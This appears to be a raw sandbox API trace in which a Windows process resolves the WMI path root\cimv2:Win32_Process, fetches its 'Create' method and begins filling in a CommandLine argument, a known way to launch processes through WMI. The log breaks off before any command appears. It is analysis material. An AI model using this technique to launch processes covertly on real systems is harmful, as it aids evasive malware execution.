WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc150f0) returned 0x0 [0158.920] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc150f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.920] WbemDefPath:IUnknown:Release (This=0x1bc150f0) returned 0x3 [0158.920] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0158.920] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0158.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0158.920] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x2 [0158.921] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x1 [0158.921] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0158.921] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0158.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f380) returned 0x0 [0158.921] WbemDefPath:IUnknown:AddRef (This=0x1bc3f380) returned 0x3 [0158.921] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x2 [0158.921] WbemDefPath:IWbemPath:SetText (This=0x1bc3f380, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f140, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f380, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f380, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f380, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0158.921] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3f140) returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f380, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f380, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f380, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0158.921] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f140, uIndex=0x0, pszName="ROOT") returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f380, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f380, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0158.921] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f140, uIndex=0x1, pszName="CIMV2") returned 0x0 [0158.921] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3f140, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0158.921] WbemDefPath:IWbemPath:SetClassName (This=0x1bc3f140, Name="Win32_Process") returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f140, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f140, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f140, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f140, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0158.922] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0158.922] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0158.922] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0158.922] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0158.922] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.924] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc15350) returned 0x0 [0158.925] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15350, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0158.925] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15350, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc3f440) returned 0x0 [0158.925] WbemDefPath:IUnknown:Release (This=0x1bc15350) returned 0x0 [0158.925] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc3f440) returned 0x0 [0158.925] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0158.925] WbemDefPath:IUnknown:AddRef (This=0x1bc3f440) returned 0x3 [0158.925] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0158.925] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0158.925] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc15390) returned 0x0 [0158.925] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15390, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.925] WbemDefPath:IUnknown:Release (This=0x1bc15390) returned 0x3 [0158.925] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0158.926] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0158.926] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0158.926] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x2 [0158.926] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x1 [0158.926] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0158.926] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0158.926] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc3f440) returned 0x0 [0158.926] WbemDefPath:IUnknown:AddRef (This=0x1bc3f440) returned 0x3 [0158.926] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x2 [0158.926] WbemDefPath:IWbemPath:SetText (This=0x1bc3f440, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0158.926] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0158.926] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0158.926] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.926] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0158.926] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0158.926] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0158.926] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.928] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc153d0) returned 0x0 [0158.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc153d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0158.929] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc153d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc40700) returned 0x0 [0158.929] WbemDefPath:IUnknown:Release (This=0x1bc153d0) returned 0x0 [0158.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc40700) returned 0x0 [0158.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0158.929] WbemDefPath:IUnknown:AddRef (This=0x1bc40700) returned 0x3 [0158.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0158.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0158.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc15410) returned 0x0 [0158.929] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15410, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.929] WbemDefPath:IUnknown:Release (This=0x1bc15410) returned 0x3 [0158.929] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0158.929] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0158.929] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0158.930] WbemDefPath:IUnknown:Release (This=0x1bc40700) returned 0x2 [0158.930] WbemDefPath:IUnknown:Release (This=0x1bc40700) returned 0x1 [0158.930] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0158.930] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0158.930] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40700, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc40700) returned 0x0 [0158.930] WbemDefPath:IUnknown:AddRef (This=0x1bc40700) returned 0x3 [0158.930] WbemDefPath:IUnknown:Release (This=0x1bc40700) returned 0x2 [0158.930] WbemDefPath:IWbemPath:SetText (This=0x1bc40700, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f440, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40700, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40700, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40700, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0158.930] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3f440) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40700, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40700, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40700, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0158.930] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f440, uIndex=0x0, pszName="root") returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40700, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40700, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0158.930] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f440, uIndex=0x1, pszName="cimv2") returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40700, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40700, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f440, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0158.930] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f440, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f440, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f440, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f440, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f440, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f440, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0158.931] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f440, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0158.931] IWbemServices:GetObject (in: This=0x1bb97d00, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbb5490, ppCallResult=0x0) returned 0x0 [0158.949] IWbemClassObject:GetMethod (in: This=0x1bbb5490, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbb5800, ppOutSignature=0x1bb7e690*=0x1bbb5b70) returned 0x0 [0158.949] IWbemClassObject:SpawnInstance (in: This=0x1bbb5800, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc75150) returned 0x0 [0158.950] IWbemClassObject:Get (in: This=0x1bc75150, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27214c0*=0, 